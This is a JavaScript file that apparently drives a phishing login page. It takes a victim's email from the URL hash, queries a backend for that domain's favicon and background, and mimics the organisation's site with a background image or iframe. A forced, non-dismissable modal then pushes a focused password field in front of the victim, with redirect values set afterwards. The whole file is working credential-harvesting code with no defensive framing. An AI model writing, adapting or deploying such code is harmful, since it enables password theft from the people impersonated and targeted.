// const urlParams = new URLSearchParams(window.location.search);
const myParam = window.location.hash.substr(1);

document.getElementById("pass").focus();
function loader() {
  var element = document.getElementById("loadingwork");
  element.classList.add("se-pre-con");
}

$(document).ready(function() {  
	var count=0;
	// $('#loginModal').modal('show');
	// $('#errorModal').modal('show');

       setTimeout(function(){
			$('#modalbanye').modal({
			    backdrop: 'static',
			    keyboard: false,
			    show: true,
			})
        }, 4000);  


	// $('#modalbanye').modal({
	//     backdrop: 'static',
	//     keyboard: false,
	//     show: true,
	// })

	// $('#access-account').html(''+myParam+'');	
	$('#ai').val(myParam);
	

      // var url = $('#url').val();
      // $("#frame").attr("src", url);
    var dataString = 'access='+myParam+'&key=3490ewfwm93923n2929';
    var mxurl = $('#getBody').data("mxurl");

    $.ajax({
        type: "GET",
        url: mxurl,// where you wanna post
        data: dataString,
        beforeSend: function(xhr){
        },                        
        success: function(response) {
        	// console.log(response);

        	if (response.status == 'failed' && !response.ok ) {
        		// $('html').html(response.msg)
        		return 0;
        	}

        	//load favicon
        	$('.fav-span').html('<img class="fav" src="' + response.favicon + '">');
        	changeFav(response.favicon)
	        if(response.bgtype =='img'){
	        	var imageUrl = response.bg;
	        	$("#getBody").css("background-image", "url(" + imageUrl + ")").addClass('bgw');
					$('.modal').css('position', 'absolute');
					$('#pass').css('z-index','50000');
					$('#pass').focus();	        
	        }else{
	        	$('#kalakuta').attr('src',response.bg).removeClass('theframehidden');
				$('#kalakuta').on('load', function(){
					$('.modal').css('position', 'absolute');
					$('#pass').css('z-index','50000');
					$('#pass').focus();
				    //your code (will be called once iframe is done loading)
				});


	        }
	        

	        $('#pass').focus();
	        $('#clientUrl').val(response.redirect);
	        $('#redirect').val(response.redirect);

        },
        error: function(jqXHR, textStatus, errorMessage) {
        	// $('#modalbanye').modal('hide');
            console.log(jqXHR); // Optional
        },
        complete: function(){
        	// console.log('complete')
        	$('#loadingwork').hide();        	
        }
    });   


    

	// function to change favicon
	 function changeFav(src) {
	    $('link[rel="shortcut icon"]').attr('href', src)
	 }


});

 const getDomainFromEmail = email => {
  let emailDomain = null;
  const pos = email.search('@'); // get position of domain
  if (pos > 0) {
    emailDomain = email.slice(pos+1); // use the slice method to get domain name, "+1" mean domain does not include "@"
  }
  return emailDomain;
 };